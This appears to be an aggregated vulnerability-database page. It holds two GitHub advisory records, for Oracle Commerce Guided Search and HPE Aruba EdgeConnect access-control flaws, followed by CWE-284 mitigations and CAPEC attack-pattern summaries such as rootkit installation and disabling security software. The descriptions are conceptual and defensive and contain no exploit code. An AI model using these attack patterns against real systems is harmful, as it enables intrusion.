Vulnerability from github – Published: 2026-08-18 21:33 – Updated: 2026-08-18 21:33Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Content Acquisition System). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. While the vulnerability is in Oracle Commerce Guided Search / Oracle Commerce Experience Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data. CVSS 3.1 Base Score 6.8 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N).
{
"affected": [],
"aliases": [
"CVE-2026-70983"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T21:17:57Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Content Acquisition System). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. While the vulnerability is in Oracle Commerce Guided Search / Oracle Commerce Experience Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data. CVSS 3.1 Base Score 6.8 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N).",
"id": "GHSA-v9hv-398h-hmq8",
"modified": "2026-08-18T21:33:25Z",
"published": "2026-08-18T21:33:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70983"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V9HX-436R-Q7QH
Vulnerability from github – Published: 2025-09-17 00:31 – Updated: 2025-09-17 00:31A broken access control vulnerability exists in HPE Aruba Networking EdgeConnect OS (ECOS). Successful exploitation could allow an attacker to bypass firewall protections, potentially leading to unauthorized traffic being handled improperly
{
"affected": [],
"aliases": [
"CVE-2025-37125"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-16T23:15:32Z",
"severity": "HIGH"
},
"details": "A broken access control vulnerability exists in HPE Aruba Networking EdgeConnect OS (ECOS). Successful exploitation could allow an attacker to bypass firewall protections, potentially leading to unauthorized traffic being handled improperly",
"id": "GHSA-v9hx-436r-q7qh",
"modified": "2025-09-17T00:31:11Z",
"published": "2025-09-17T00:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37125"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04943en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.